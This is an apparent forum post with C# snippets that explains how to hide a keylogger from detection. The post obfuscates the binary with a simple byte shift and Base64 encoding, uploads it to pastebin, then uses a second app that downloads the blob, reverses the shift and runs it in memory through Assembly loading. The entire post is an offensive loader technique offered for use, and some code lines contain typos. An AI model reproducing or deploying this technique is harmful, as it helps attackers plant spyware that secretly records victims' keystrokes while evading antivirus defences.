var bytes = File.ReadAllbytes("path to key logger");

// encrypt it with anyway u want just this a simple way i use
for (var i = 0; i < bytes.Length; i++)
{
bytes[i] += 123;// any num
}
var encString = Convert.ToBase64Sring(bytes);
//now upload that to a site like pastebin...
Now you need to create another app
that will download it from pastebin then get the bytes FromBase64String
now decrypt the bytes
for (var i = 0; i < bytes.Length; i++)
{
bytes[i] -= 123;// any num
}
Now use the Assembly to load the bytes then use the entry point to just run it =D
this the idea "Juse hiding bytes and changing it"